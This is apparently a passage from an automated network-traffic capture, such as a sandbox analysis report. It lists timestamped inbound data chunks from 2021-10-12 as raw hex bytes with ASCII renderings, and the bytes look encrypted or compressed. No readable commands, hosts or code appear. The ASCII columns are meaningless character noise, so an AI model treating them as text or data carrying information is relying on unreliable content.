8d 00 49 cb a4 45 f9 9e 0f e3 4f a2 a2 32 5b 48 f1 0a f9 23 7c da 0d fb 9d a5 98 e6 07 4e c8 fb b9 17 c0 4f a2 98 83 80 85 
80 51 a6 c4 ee ba d1 cd b4 17 50 1b 74 fd 84 a6 24 f4 8c 8c 90 b7 a4 bf 8e b4 4a de ab 95 aa 06 93 05 0b 7d cb 55 9a 45 
ce 99 25 c3 b8 e3 b6 10 b7 e8 0d f4 ba 24 3b 88 2c d6 4e bb 62 d3 0c 17 87 c6 83 cd 95 ce 2e 3d 45 0b 99 7f b1 4a ba 16 
1c 47 1b c9 9e aa 6f 69 3b 27 f5 f9 ed 38 35 7b ba ad 1d 00 b2 14 ed 18 3d 07 ae 10 28 4a 5f dd cf 9c 8d b0 2e bc 4d 08 
96 59 d2 dd db 5d f4 95 69 6a 99 0c 37 47 1a 4c c8 f8 f8 bd 4b d7 ec 5c e1 84 e0 29 da 3f 16 81 a0 1f 7c d0 e9 b8 a5 81 
db 3d ce f5 74 5b 92 a1 00 8f 97 86 df 3f f8 12 31 3e 
Data Ascii: SfBm.Yrpi#b4v<s:Zhji-IEO2[H#|NOQPt$J}UE%$;,Nb.=EJGoi;'85{=(J_.MY]ij7GLK\)?|=t[?1>

2021-10-12 14:35:51 UTC 43 IN Data Raw: a7 73 81 d7 7a 3e c6 87 14 2a 2c a7 73 93 e2 56 ca 0d 5b 6e 18 a2 3e 34 e9 0f 9d 9c 9e b2 29 40 c1 b9 8b b2 
0f 85 fc 90 ee 37 88 fb 77 2f 6d 6d eb 58 88 ef e4 4f 03 6d da c9 69 95 6e 4f f7 73 df c9 d1 f9 5b 28 f1 76 ac bf 31 c4 05 92 
64 74 d7 ed 2d 80 7a 8a 41 f1 0b 2e a9 15 71 74 8c 63 57 7f a9 d9 cb 50 fd 26 70 6e 66 f6 41 2c 43 68 72 51 a0 bb 57 d1 
7f b5 31 20 2c 5d 6b ea d1 0e 45 71 0a 5f 08 75 26 03 f3 6e 0f 19 3d 74 4e 1a ef ed 18 3b 01 11 7b 7b 1d d6 f0 37 83 c9 
6a 22 1b 66 3c 99 03 9e 40 51 ac dc 55 fe 1a d1 5d 0d d4 ff 82 55 00 61 58 3c 82 f7 65 be 0a 59 be 1d c1 d3 8a 96 38 17 
d8 13 ec 19 bf dc fc e2 50 8e 98 45 33 5e df f1 5d ee 7d e6 3e 8a 8e bd 32 a1 cc 9a 7c 0f 6e 2e e8 3c 79 ca ad 40 eb 0d 
dc f9 0b 39 24 c7 1e f0 24 57 73 f7 f3 f7 28 38 64 
Data Ascii: sz>*,sV[n>4)@7w/mmXOminOs[(v1dt-zA.qtcWP&pnfA,ChrQW1 ,]kEq_u&n=tN;{{7j"f<@QU]UaX<eY8PE3^
]}>2|n.<y@9$$Ws(8d

2021-10-12 14:35:51 UTC 45 IN Data Raw: eb ba 39 d1 f9 82 96 4d 7c 8d d5 c5 55 32 04 6b ad 94 9b 62 92 63 60 99 7f 2a 20 62 3e 0e 81 62 29 7b 7c 16 
5a 0a 6b 83 3e 90 34 59 cd 8c 31 ea 92 2d 65 5f a2 a8 35 41 75 81 97 f8 25 65 c0 21 f8 a7 12 8a ea 25 ff 58 f8 b3 00 ef 43 
a2 99 89 a2 65 57 79 32 d6 eb a1 ff a1 cd 1b 42 16 33 44 85 a6 24 f6 86 9c 32 b6 a4 b5 49 a7 ff 34 34 94 a0 24 71 77 0a 
77 d2 41 92 53 f3 e8 55 c2 be f8 9a 84 9c 7a 08 9b 1c 33 b6 85 3f f5 5d 8d 67 e4 35 a1 af d7 89 a2 8a a1 8f 36 6d 26 f6 6a
bb 59 b6 2f 8d 6e 2a c3 8f b5 2c 78 12 09 fd d1 6a 2a 33 55 5e 0c 1c 0a d7 8b cc 09 17 3e ef 38 39 4c 4c de b1 3b a4 8d 
25 99 6a 1c b9 3c ec f6 d1 3f a0 c3 69 6b ee 63 3d 4e 33 62 d6 e9 e7 c3 32 a2 fd 56 c9 1d cb 3a df 50 b0 96 88 5a 6f cd fe 
b6 bc 85 fb 3e ce ed 56 7a 33 a0 06 5b bd 8e f2 
Data Ascii: 9M|U2kbc`* b>b){|Zk>4Y1-e_5Au%e!%XCeWy2B3D$2I44$qwwASUz3?]g56m&jY/n*,xj*3U^>89LL;%j<?ikc
=N3b2V:PZo>Vz3[

2021-10-12 14:35:51 UTC 46 IN Data Raw: 33 e5 b8 20 6e ab 7b 80 cc 6b b5 df 91 fb 2c 11 a3 5d 25 46 57 cc 2f 6c 68 07 a1 42 8e e8 1e 9d 90 85 5d 21 
03 61 be a3 1c 1d 91 e0 0f c2 0f b1 fb 64 2a 63 6a e9 41 12 ed e4 47 f4 7d fc b2 d1 fb 1d 44 e4 72 e6 44 fa 62 5e 47 57 18 
1e b4 3c d4 02 66 65 73 23 f3 32 75 53 3a 53 f7 25 e9 1a 14 7b f2 25 9d 56 68 44 dd b4 66 07 2c 70 7f 7d e2 79 4d 41 44 
65 38 3a 12 56 db 5d a5 8c 20 26 50 69 e4 e6 bf 55 7b 0c 21 b0 6b 2b f7 da de 06 21 b6 67 48 0b f5 f0 1d 27 12 15 5a 2f 
f2 c1 cd 21 01 c9 6d 33 01 7d 2e e1 4f 9e 6c 5d ab 90 5b ed 18 d6 32 ae df e5 76 20 3e 77 51 2f b9 e8 74 b0 8e 81 08 2d 
d5 f1 35 87 38 1d c3 0e f9 06 84 1e fc f3 5c fe 9c ba 32 78 f5 f1 4f ed 83 72 28 9b 9d ba a9 28 7b a8 c8 68 58 38 c0 99 6a 
c6 b6 64 eb 0b cb 7e 47 3c 3b db 1e ed 35 51 6f f7 
Data Ascii: 3 n{k,]%FW/lhB]!ad*cjAG}DrDb^GW<fes#2uS:S%{%VhDf,p}yMADe8:V] &PiU{!k+!gH'Z/!m3}.Ol][2v >wQ/t-58\2x
Or(({hX8jd~G<;5Qo

2021-10-12 14:35:51 UTC 47 IN Data Raw: e9 23 48 63 aa ee bb 25 db d5 9e 91 54 66 b9 4c c5 5b 22 2c fb af 94 9d 7a b6 7f 2c 93 59 9b 21 62 35 7a 1d 
60 29 2d 7b 79 f7 55 6b 89 3c ef b6 58 cc 86 3b fe e0 37 ca 5e a6 8a 2f 4a 5d df bf bf 20 76 c2 16 fa 8d a9 8c 85 e9 d7 c9 
f1 6d 08 e2 4f 95 99 83 80 e3 7e 41 38 c5 e4 6e fa d3 d8 29 43 17 58 ad 92 a4 2e e3 a3 e3 93 b6 a2 9d 41 a8 90 f0 5b 52 
aa 0c e7 a9 04 58 e9 71 83 54 d1 fb 7e fa b8 e9 94 4e b4 ee 21 9a 06 25 3b 82 3f f3 5c 85 51 f0 13 18 af d7 82 cd 9f 91 8f 
20 09 01 f8 70 b1 4a b1 25 bb 45 1b 9f 8f bf 00 44 3a 27 ee a2 d6 3b 35 77 df 0b 62 33 b9 07 c9 21 0a 14 bb 3e 11 03 5c 
d7 a6 15 94 b2 24 9f 0f cb b0 48 f4 28 df 01 a0 a2 69 6b e2 7c 1f 7f 1b 5f dd 37 ed d4 46 e5 ed 56 cd 2e f4 2b dc 56 9e c9 
a3 15 69 e5 e1 a7 b4 92 9c ea ce f5 74 ea 3d 85 
Data Ascii: #Hc%TfL[",z,Y!b5z`)-{yUk<X;7^/J] vmO~A8n)CX.A[RXqT~N!%;?\Q pJ%ED:';5wb3!>\$H(ik|_7FV.+Vit=

2021-10-12 14:35:51 UTC 48 IN Data Raw: b5 03 37 ab 83 23 dd 3d 3f 6c dc ff 90 d2 60 2f cc 98 f1 1b 05 ab 57 b8 45 57 a3 07 48 79 74 11 2d 3e e3 0d 93 
9c 96 64 93 6c d0 b5 8b a6 0d 85 f0 34 f5 37 88 f0 6f 2d 5a 51 f8 52 82 e8 10 57 fa 44 47 de 61 fc 35 6a f7 79 fd 67 e3 f9 
5d 4d 47 89 ad d5 10 dd 07 9c 4e 62 f5 43 20 7e 7d 8e 74 f7 23 8c 80 80 7b f8 3b 6f 7f cc b9 dc d2 52 c6 9f 73 7f 6a 9a d5 
d3 42 4e 6b 38 3d 12 56 db 1a be 8d 20 26 4b 17 67 cf 1f 5c 14 83 4f 02 60 38 f4 da f6 05 21 ba 07 ca 1b f0 e9 03 5e b4 
01 71 66 8c 50 dd 34 91 cd 0f aa 0b 6c 29 e1 74 9e 6c 5d 94 bc 62 53 0a db 5b 6f 5a e4 7c 5e 24 18 e4 35 aa ec 0a 39 01 
36 15 0b ae 51 a3 87 32 78 5b 01 e8 08 bf dc ed f9 72 5b 84 bb 38 51 fe e0 5a fa 55 61 3d 8a 76 aa a9 58 cd 8b 74 74 b3 
3a c0 95 6e 34 a3 08 d6 0e cd f7 32 4f 20 db 0d 
Data Ascii: 7#=?l`/WEWHyt->dl47o-ZQRWDGa5jyg]MGNbC ~}t#{;oRsjBNk8=V &Kg\O`8!^qfP4l)tl]bS[oZ|^$596Q2x
[r[8QZUa=vXtt:n42O 

2021-10-12 14:35:51 UTC 50 IN Data Raw: a1 de 0f 2d 29 fd 3d be aa ad c4 b0 23 c8 d0 9e 80 57 70 5b 6f e9 56 2f 3f fe ae 85 98 50 48 62 4c 91 7c 83 0a 
c3 33 75 05 e7 2b 71 7d 6e 7a 0c 6b 89 2c 90 04 4e c9 00 0e f8 9e 04 69 56 af ab 2c 5c 4a 54 b8 f8 23 77 d7 3a f3 8b bf 
9d 76 3e d3 e1 58 b3 06 cd 76 a6 8f 13 a6 ca 5f 6f a2 ed ff b0 fa df 76 24 42 17 5d ad 91 a6 2e ef a3 90 91 b6 ae cc 67 aa 
90 f7 45 ab aa 0c ec 89 01 7e c1 32 91 54 db ed 7c c2 b8 e9 85 a0 b7 e8 57 9b 1a 25 65 82 3f e4 2f 23 73 f0 17 08 a9 a9 
a8 cc 9f a5 a7 2b 47 01 f0 42 
Data Ascii: -)=#Wp[oV/?PHbL|3u+q}nzk,NiV,\JT#w:v>Xv_ov$B].gE~2T|W%e?/#s+GB

2021-10-12 14:35:51 UTC 50 IN Data Raw: e0 49 b0 38 a3 5e 19 c3 89 d0 c6 1a 3a 2d 21 df 49 13 02 7d d5 07 10 28 80 07 cd 03 c3 16 bd 46 12 4b 5f d3 
88 2a 8e b0 22 b1 31 0e b0 4e d6 ef d3 24 8e fa af 6b e8 7a e9 49 3e 77 e0 e9 ed d8 35 fe d4 56 c9 0c 3d 29 da 7a b7 9c 
a0 15 6f cd fe a5 a8 b6 f3 22 d4 f5 7e 35 33 a0 30 85 ae e7 da 17 f3 3e 1a 35 34 0c 30 78 ef d1 ea c7 b5 28 89 78 5a c1 
dd a3 c3 ba 34 88 0d 86 a2 29 f1 4b 71 ac 0c 91 09 fe be 17 a3 32 40 1c 1f 94 36 98 67 28 57 a4 84 2f a2 3e f8 00 d4 b3 
68 f3 a5 bd 8e d5 d0 76 28 75 39 93 c2 61 bf 7f c1 d6 d5 2e f9 9b 7b 70 85 aa f6 fd b9 e6 0b ad 68 e2 b9 90 80 a2 f5 4b fe 
a7 d3 e6 6b 5a 16 18 f8 9e fd cc c9 be 13 dd 10 3d 58 bc c9 45 72 c5 ba 9e 7d 19 78 ba c1 ee c2 b9 49 33 87 c4 ea 18 e3 
54 0f 91 73 bf 3b 22 56 09 e1 d5 29 7e 52 32 40 70 26 
Data Ascii: I8^:-!I}(FK_*"1N$kzI>w5V=)zo"~530>540x(xZ4)Kq2@6g(W/>hv(u9a.{phKkZ=XEr}xI3Ts;"V)~R2@p&

2021-10-12 14:35:51 UTC 51 IN Data Raw: c6 d6 1c 4b d9 60 24 65 46 21 8e fb 99 7d 5d e8 ae 4b e6 03 ca 53 73 19 e5 7c 5e 16 da af cb 55 38 73 af 0e 
43 24 1c c1 d8 8e 8b 29 19 a7 3b e8 02 ad b9 ab f3 5a 9b 58 65 27 57 d6 d7 5a fa 5f 72 30 f9 32 ab bf ac c7 b2 45 1b 7a 
30 1e 9d 7f e0 a0 42 fa 0d dc b2 2c 3c 3b d8 0d fa 24 1f 79 e1 0d 95 05 3b 73 fb f6 b4 53 f6 15 d4 eb c6 ed 9a da 3a 0b 22 
66 03 a0 5c 33 f9 1f 2c d6 a1 d1 84 76 f7 14 91 20 db d8 48 3e 05 68 50 81 20 0d e5 23 fe df 64 45 14 bd f5 84 e3 08 2b 
d8 00 6f 15 b4 52 46 1c db 84 e6 13 08 a3 da 56 7d 7f 34 38 ca 66 83 10 3d 21 25 a2 bf 0f 6a ad ca 24 35 21 a4 2f 50 2e fc
a7 2a a4 c4 29 0f f0 0c f7 5d 17 52 4e ad 31 1f 8b ba c4 7f dc 44 aa 2b 59 f1 ec c6 93 8d b3 f2 94 5e 7a a2 ae 5b b8 9a 3a 
4c 8d db 27 c7 e0 3f fa 31 6d b9 31 59 98 41 e9 
Data Ascii: K`$eF!}]KSs|^U8sC$);ZXe'WZ_r02Ez0B,<;$y;sS:"f\3,v H>hP #dE+oRFV}48f=!%j$5!/P.*)]RN1D+Y^z[:L'?
1m1YA

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 52 IN Data Raw: 3c 44 1a c6 69 b1 0a b1 3e 8b 37 1b c3 9e cc ba 1a 3a 2d f5 af 50 3b 35 77 fd d5 1f 00 be 10 a2 34 1d 16 b1 
15 3e 4c 54 0a bf 3c 8c b0 fa 8d 45 25 87 48 fe fc c2 20 8e 9e 41 53 e8 70 3d 9a 12 5e d7 e9 93 ee 38 d6 e6 7e 11 05 e3 
2f cb 3f 8b 80 a0 1f 63 c5 97 14 b5 94 f9 21 c7 e6 70 22 20 ad 38 47 b2 ab da 08 e7 2f 17 ae 3c 39 47 44 0b d3 e0 ef 00 2b
89 6f 38 7e f5 87 c9 b0 40 0c 62 bb a8 25 85 cb 77 84 15 83 0c 8a 81 10 8b ec 6b 0b 1b fb 82 94 6e 0a e3 b5 84 29 91 ca 
e0 01 de 91 e7 f8 b4 b1 b5 0a c2 72 06 2b 8b 92 c8 46 cc 6b ca 0b 6c 3f fe 8a 6c 5c 71 3c f6 fb dc 47 02 bc 6a be 6a 93 80 
bf ce 89 ed af c8 c6 2e ec 01 c8 bf 54 fc cc e8 bc 12 c5 30 89 b8 bc c3 6b 77 ce c9 ba 6c 1e 6f ae e6 f8 ce a3 91 72 5b c4 
ea 08 9d 7a 1a 4b 66 bc 22 38 65 5f c7 d7 29 69 
Data Ascii: <Di>7:-P;5w4>LT<E%H ASp=^8~/?c!p" 8G/<9GD+o8~@b%wkn)r+Fkl?l\q<Gjj.T0kwlor[zKf"8e_)i

2021-10-12 14:35:51 UTC 54 IN Data Raw: 07 15 67 44 a7 d6 dc 3e 8c 40 48 c9 09 6c 25 9b eb b7 28 56 87 b1 5c 7c 21 d8 5c 1c d8 cd e0 54 2c 7d 3e 12 
a8 e6 63 95 33 27 1a 34 2d da a2 81 57 8a d2 00 e2 2e 89 c7 fa e2 5f b9 68 b8 32 74 eb f6 72 be 54 61 37 9d 12 83 54 a5 
cc 9c 68 0d 52 7e c1 9f 73 dc 3d 07 dc 0f dc f5 09 3a 13 37 0e fa 22 29 53 e3 0d f0 02 2a 75 28 e2 b5 53 ea 04 de 84 01 
ed 9a d0 00 c0 dc 99 fa 7e 4a 22 3d 6b 17 d6 75 d1 a8 7a f3 1e e4 1b c1 d8 49 50 41 58 55 8b f8 1d ed 34 46 cc 6c 45 0a 
bf f9 32 a1 37 51 26 ff 81 ce be 7d 90 2a f7 8c e5 1a d9 dd 7f 5d 6e 70 3f 01 f7 7b 7d 1b cf 26 35 82 a6 36 6f ad 9a 15 2a 
2a 58 2e 7c 27 a3 b6 2e 95 ea 37 03 e3 a9 f6 4c 12 5b 47 53 30 33 83 bc d3 a9 d6 5b a0 3e 5c f1 fd 00 8c 73 b2 17 a7 56 
78 be b4 34 57 80 3a 46 93 d0 3f ed e1 57 f1 32 6b db 
Data Ascii: gD>@Hl%(V\|!\T,}>c3'4-W._h2trTa7ThR~s=:7")S*u(S~J"=kuzIPAXU4FlE27Q&}*]np?{}&56o**X.|'.7L[GS03[>\sV
x4W:F?W2k

2021-10-12 14:35:51 UTC 55 IN Data Raw: af c4 e1 32 8f 3c 4f 0d ed 79 a3 4a a1 2c 9c b8 1a ef 8c a7 13 08 3a 36 ed ce 4b c5 34 51 da 1c 11 11 b6 89 7a 
36 f1 16 bb 38 26 62 4c c5 a0 2c 9e ad da 98 4c 06 a1 4c d6 4b d0 24 82 98 77 78 fa 70 26 55 07 a1 d6 c5 e7 ac ab d6 ec 
5c da 03 fe 3a ce 50 a7 92 bf 31 91 cc d4 b5 a5 9c db 2e ca f5 78 5b 19 a2 00 83 ad 8e c9 0b e9 2f 08 2b 26 c2 38 54 0c 
c5 f9 ca c6 22 9a 7b 29 6a cf bc d2 4e 4b 37 0b ad e9 3a 93 cb 63 ac 17 90 13 8d 6e 17 8f 3e 79 02 0e 85 2f 9b 7d 12 97 
b6 96 36 9c 5b f9 2c d4 8a fe e4 3f a4 91 ce d6 61 12 44 28 81 d7 42 46 78 e6 0c 61 3f e9 84 65 67 bf 3f e7 ef ac eb fd bd 
4c c0 69 83 97 72 ce 91 e0 b8 ca dc a0 4a 04 0c 69 53 d0 cb ca be 1b cb 31 b2 4a bc d2 7f 7b cd 44 99 42 17 51 8d 13 16 
3b ad 9f 49 97 c4 fb 1c ed 45 e6 4a 4c bc 39 25 01 
Data Ascii: 2<OyJ,:6K4Qz68&bL,LLK$wxp&U\:P1.x[/+&8T"{)jNK7:cn>y/}6[,?aD(BFxa?eg?LirJiS1J{DBQ;IEJL9%

2021-10-12 14:35:51 UTC 56 IN Data Raw: 18 af cf 13 20 0a 11 61 f6 f5 c6 d7 25 8b 40 0f eb 0a 6c 29 96 27 f0 83 57 87 b1 46 f7 02 ca 4d 86 f6 ef 78 54 2a
18 af 34 aa ec 74 b5 11 26 08 ca 5b f1 a9 83 38 11 bd fe e8 02 a6 89 d0 86 4b 9a 95 ab a8 64 ef eb 4b ea cf 0e f4 8a 88 
a1 a8 7c a3 75 7d 1b 70 29 c5 8e 72 db b7 7f 2c 97 ca e2 13 2d 2b cd db 60 4b 8f 79 e1 07 ee de 54 9c 47 f7 be 40 e6 66 
f6 e9 c6 eb 89 cb 2b 0e 4d af 05 a0 56 29 06 30 3d c7 7d bf ac 74 e2 12 80 31 d0 de 27 1b 14 58 53 90 35 1d e0 4c b6 dd 
64 52 13 bf d8 b0 12 08 2d b7 2a 7c 10 ad 5e a9 0c 98 99 ee 09 d4 bf d5 4a b8 69 24 38 df 6a 6a 2f 0c db cc 57 b0 15 78 
7b c8 28 3b 23 4b 3d 42 84 08 49 d1 4b b5 13 2b d4 09 f7 46 01 5f 34 e9 30 33 89 b1 fb 91 d6 5b aa e6 5e f7 d7 ca a7 73 
f3 c2 a6 56 78 ab b4 34 76 9a 3a 46 57 c9 0f e8 07 
Data Ascii:  a%@l)'WFMxT*4t&[8KdK|u}p)r,-+`KyTG@f+MV)0=}t1'XS5LdR-*|^Ji$8jj/Wx{(;#K=BIK+F_403[^sVx4v:FW

2021-10-12 14:35:51 UTC 57 IN Data Raw: f0 17 11 aa c6 86 e5 ae a1 8f 36 68 0a 85 d0 b1 4a ba 35 56 9b 1b c3 8f ae 05 32 66 27 ff d7 61 32 1d 9e d6 0d 
1a 28 5c 04 cd 0f 35 4b bb 38 3f 59 5b de 88 db 8f b0 22 b1 87 0e b0 4e d6 ab d1 24 8e 86 6f 62 c0 98 34 47 1d 77 3e ea 
ed d4 10 8b ec 56 cf 15 eb 20 f4 4c b2 80 a6 3d 72 c9 f8 a3 9c c9 f3 2c c8 e6 79 3d 1b be 04 85 b4 83 c5 1d e9 38 32 69 2f
3c 3f 74 1a db c2 e9 db 28 8f 7f 01 55 dd a3 c3 a6 64 48 7e a4 aa 25 89 cb 78 bd 0f 93 08 a8 75 15 a3 30 79 0d 35 b3 30 
95 64 6f bf a5 84 2f 9b ac e9 08 b1 bf f6 f3 a3 a6 94 c0 c6 1d 26 46 39 95 d9 45 90 59 ce 0b 71 43 d3 99 6a 72 ab 2e ff 92 
a6 f4 03 b6 be c5 5d bb b7 a4 dd 8b ec ad f1 f6 a0 5b 1c cc 97 8c e9 e9 eb 9a 15 d4 32 b2 53 cf 79 6d 64 cd b1 b0 56 1e 
69 b7 32 eb c2 98 93 70 85 c4 ea 4f c6 52 18 4b 
Data Ascii: 6hJ5V2f'a2(\5K8?Y["N$ob4Gw>V L=r,y=82i/<?t(UdH~%xu0y50do/&F9EYqCjr.][2SymdVi2pORK

2021-10-12 14:35:51 UTC 59 IN Data Raw: 12 35 a8 5c ed 1a f0 e9 23 20 01 00 7b 7f e4 c6 d8 1c 07 da 60 28 15 7c 0b 67 fc 9f 66 46 81 61 5d 3c 16 f4 4c 
1b f6 79 7c 54 26 68 41 1c 43 e7 65 b4 d6 29 26 41 1b ca a7 8f 29 12 fa ea e9 02 a6 5a a3 f3 5a 90 ac 88 33 72 f4 ec 4b 
fc 42 b7 2e 8c 99 ad ae af f2 a4 82 e4 85 32 e8 03 79 ca ad 62 24 1f f4 c4 18 3c 31 f2 23 f8 24 40 73 c9 35 f6 04 31 ad 47 
f1 9e 53 e0 54 c8 eb c6 ed 9a da 3a 0b 22 66 05 da 5d 33 37 64 2d d6 75 c2 84 76 e2 0e 91 20 c0 c3 78 38 16 5e 54 81 
24 72 e5 23 81 dd 6e 56 14 c1 11 bd 16 02 34 87 33 76 12 bc 37 b0 1c f7 86 e5 0f f6 32 c5 5d 64 52 52 28 cf 71 70 62 37 
25 33 a2 b2 1a 7e ab cf 09 02 2e 5a 28 6b aa f2 b6 2e 94 b3 3e 12 eb 1f 89 28 12 4d 43 f1 21 3b 97 a8 fb 60 d7 5b aa 29 
5a e5 d5 ea 89 73 b4 c9 2b 51 78 ab b5 27 5f 8b 32 50 
Data Ascii: 5\# {`(|gfFa]<Ly|T&hACe)&A)ZZ3rKB.2yb$<1#$@s51GST:"f]37d-uv x8^T$r#nV43v72]dRR(qpb7%3~.Z(k.>
(MC!;`[)Zs+Qx'_2P

2021-10-12 14:35:51 UTC 60 IN Data Raw: 3d f5 5a b1 96 f1 1d 08 87 4b 83 cd 95 b2 89 35 6d 96 f5 6a b7 62 9e 3c 8b 40 33 26 8e bf 0a 32 a6 27 ff db 7f 
3f 33 55 25 0e 1c 06 90 29 cf 09 1b 3e 5e 39 39 40 77 4b a0 3d 86 a3 23 9f 48 9a b3 48 f8 de ff 26 88 93 41 8e e9 70 3d 6f 
87 5f d7 e3 fe d7 29 d0 c4 78 cb 06 e5 3f f4 7e b6 80 aa 03 91 cc e9 a2 9c ba f1 2c c8 e3 56 1a 33 a0 0a 93 4c aa 85 35 ee
2a 16 e9 88 3c 39 78 1a d5 c2 e9 db 28 8f 7f 01 55 dd a3 c3 a6 64 5b 7e a4 aa 25 89 cb 79 bd 0e aa 5b 82 90 10 cc 1e 6a 
0b 1b 85 38 84 68 6f b3 a5 84 2f 9b ad e9 04 f6 99 f5 f3 a3 d8 bb d3 c1 74 11 4c 11 d0 cc 4c be 16 e0 09 77 2a fe 8a 62 1b
b8 3e f6 f7 6d a0 70 9e 62 ca 7e 80 89 b5 d4 a9 a8 a5 d9 c8 cf 73 14 12 91 43 f5 dd c4 c2 31 d6 38 a7 49 b5 d2 68 4c c5 
bb 98 68 71 4f bf ec ef d5 bb bc 19 81 c4 ec 
Data Ascii: =ZK5mjb<@3&2'?3U%)>^99@wK=#HH&Ap=o_)x?~,V3L5*<9x(Ud[~%y[j8ho/tLLw*b>mpb~sC18IhLhqO

2021-10-12 14:35:51 UTC 61 IN Data Raw: 67 3a f0 fa 2d 2e 23 bc 72 5f 17 e1 e7 64 15 03 00 77 7d ee d0 b3 12 99 da 66 33 07 44 6a 8a fd 99 03 7d 85 
bb 4c e0 18 d6 32 09 df e5 76 8a 39 52 79 03 aa e6 6f ad 0e 45 a5 1c c1 d3 af af 00 17 d2 0a 36 3b bd c7 eb 25 49 80 95 
aa 23 60 70 57 65 22 ab 9e c2 9b 8e bc 69 b5 ca 8b 7b 0a 6a 04 4b 61 86 35 79 7d df 25 eb f3 18 36 28 d5 7e 40 24 46 73 
ec 25 ce 04 3b 79 99 f5 b2 79 e9 3f d4 eb 87 d9 9a da 3a 0b 22 66 c0 a0 5c 33 ea 1e 2c d6 d7 d1 84 76 f7 14 91 20 db d8 
48 3e 16 58 55 81 76 0c e5 23 17 de 64 54 db af f0 bc 03 08 2b d8 1a 7e 10 aa 4b 88 1e f7 7b ef 09 de 2a c5 5d 7f 6c 27 
2f f7 b1 7d 11 11 24 22 ae be 15 91 ac f7 29 23 3d 8c 23 63 2d e6 b0 2e 84 a6 29 09 1d 08 db 45 1b 5c 42 61 06 2c 88 af 
d5 a9 c7 5d b8 c6 5d dd f4 eb a3 71 b2 d8 ad 4f 6b ad b4 
Data Ascii: g:-.#r_dw}f3Dj}L2v9RyoE6;%I#`pWe"i{jKa5y}%6(~@$Fs%;yy?:"f\3,v H>XUv#dT+~K{*]l'/}$")#=#c-.)E\Ba,]]qOk

2021-10-12 14:35:51 UTC 63 IN Data Raw: 07 0b 22 27 a2 e4 f5 5c 99 ef e1 1a 1f 8f 45 83 cd 9f 3d 9e 3b 5b 1e 87 f6 a0 4d af 37 ab e5 1b c3 8f 23 11 1d 
25 2d df 68 6c 3b 35 e1 c4 0a 03 0b 98 e1 cd 09 1d 8a aa 3f 26 46 40 84 3c 2c 8b af 29 86 1a 91 a1 4f e1 f8 f1 b1 88 95 69
f7 f9 77 28 48 04 23 4b f8 ea cd 28 c0 70 47 ce 19 f2 3f 40 41 b1 9f b2 03 f3 dc ff ba a7 82 6f 3d c9 ea 6a 22 af b1 07 9a a7
bd 46 08 ee 21 0c 14 d0 3c 39 78 97 c2 ed d8 ce 3e 15 78 2e 64 c5 b5 55 a1 4d 04 14 a6 28 25 8f d8 ed bd 01 9d 16 96 0c
07 a4 29 73 1d 81 85 37 8a 72 16 0b b6 83 36 97 85 78 00 de 9b 68 e2 a2 a8 83 f1 41 72 00 44 a5 82 cf 53 a7 6f 56 1a 70 
33 d9 bb 95 74 ad 3f 6a ec b4 ea 22 aa fc db 7f 8c a2 b2 41 90 f8 b8 fa d8 3c 4a 11 0d b3 72 7c cc c3 ad 89 c5 3f be 7d aa 
5f 7c 63 d8 9c b8 ee 1e 69 bd 70 f8 c3 ad 
Data Ascii: "'\E=;[M7#%-hl;5?&F@<,)Oiw(H#K(pG?@Ao=j"F!<9x>x.dUM(%)s7r6xhArDSoVp3t?j"A<Jr|?}_|cip

2021-10-12 14:35:51 UTC 64 IN Data Raw: 4e 05 36 4e 02 60 03 a5 f6 42 00 4e 0c 75 4e 10 52 f2 12 28 7f 3c 71 6c e9 ff 85 30 9b dc 0f 92 0b 6c 29 2c ec 
86 60 5f 94 aa 5c f5 19 e3 83 1e de e5 6d 45 3d 67 cb 39 a3 df a9 bc 00 36 16 73 70 d8 a2 8d 2b 04 c4 13 fa 3a 1d d4 fc f3 
4b 82 95 a9 a8 61 fa e9 4b fe 3a d1 3c 8a 82 b8 ba d5 ad 9b 7d 11 69 3c d1 9a 51 90 a3 68 fc 62 6e f2 18 36 2f 24 0c ec 
da 47 68 e4 25 ad 00 3b 75 28 45 b5 53 ea 01 2a ea d0 13 9b cb 3f 23 7e 62 05 a6 33 81 36 1e 26 c2 8b d1 92 88 e3 74 
80 25 e9 85 4c 3f 10 37 e7 80 24 06 f1 dd 91 c9 9a 55 62 bf f5 94 48 0c 2b de 6f cc 11 ab 52 ac e3 f6 9a 11 08 be f1 fc 4b 
6c 7a 34 5a ed 79 7d 17 02 2e 29 25 b4 1c 6f ac c8 3b 3b 30 4c 06 27 23 f5 b0 8c 84 ba 21 2b bf 0d f7 4a b0 5c 5d 4b 18 
6e 87 bc d5 0b c7 41 b9 10 02 f5 fd c5 2f 62 a8 cd 
Data Ascii: N6N`BNuNR(<ql0l),`_\mE=g96sp+:KaK:<}i<Qhbn6/$Gh%;u(ES*?#~b36&t%L?7$UbH+oRKlz4Zy}.)%o;;0L
'#!+J\]KnA/b

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 65 IN Data Raw: 10 27 a2 d9 20 8d 13 ab 8c 95 e5 e6 42 8a 79 db 04 13 ab c6 89 c4 8e ab 15 14 2c 05 f6 6c 99 6e b0 3e 81 e4 
0a c9 98 69 13 10 2b 2d ee cf 5d da 3d f3 62 1b 2d 37 ae 14 c6 00 93 a1 aa 3c b7 fd 48 0d b3 22 9f bc 0f 86 71 09 a1 44 f6 
e7 da be a0 ff 6d 6b ee 58 13 47 1b 55 75 f8 e6 c5 ee c5 e7 47 c5 11 35 3a d0 41 ba 91 bf 24 b4 be 17 a4 b4 9e e0 25 df 
f1 6d 15 25 b3 20 bd 00 ae da 19 f8 1f 0b 14 b5 2f 2c 69 1e ca fd de aa d8 88 69 23 68 cc b2 d8 a4 62 9a 0f 86 ae 33 02 df 
71 ac 07 96 18 94 b8 b5 a3 36 62 23 47 94 30 9f e2 3f 97 a7 85 3a 98 b4 ea 17 52 a4 f4 f3 a4 9f 2b d1 c1 78 28 1e 39 93 
c2 5b 6e f4 e1 0b 77 2d ea 95 7c 67 a0 29 e5 ee 9b db 01 bc 66 d9 77 85 93 b0 ae a3 fd a7 df dd b0 4a 07 06 bf 39 f8 cc 
c5 b4 98 d3 38 a1 59 af e1 7c 46 d1 ab 96 46 0f 69 
Data Ascii: ' By,ln>i+-]=b-7<H"qDmkXGUuG5:A$%m% /,ii#hb3q6b#G0?:R+x(9[nw-|g)fwJ98Y|FFi

2021-10-12 14:35:51 UTC 66 IN Data Raw: 27 71 78 8c f4 dd af f1 24 b7 ed 5f 9e 37 f1 ff 85 74 87 8d ab 29 c8 f2 8f b6 43 41 ca 49 c7 55 3e 3d f5 b9 19 9a 
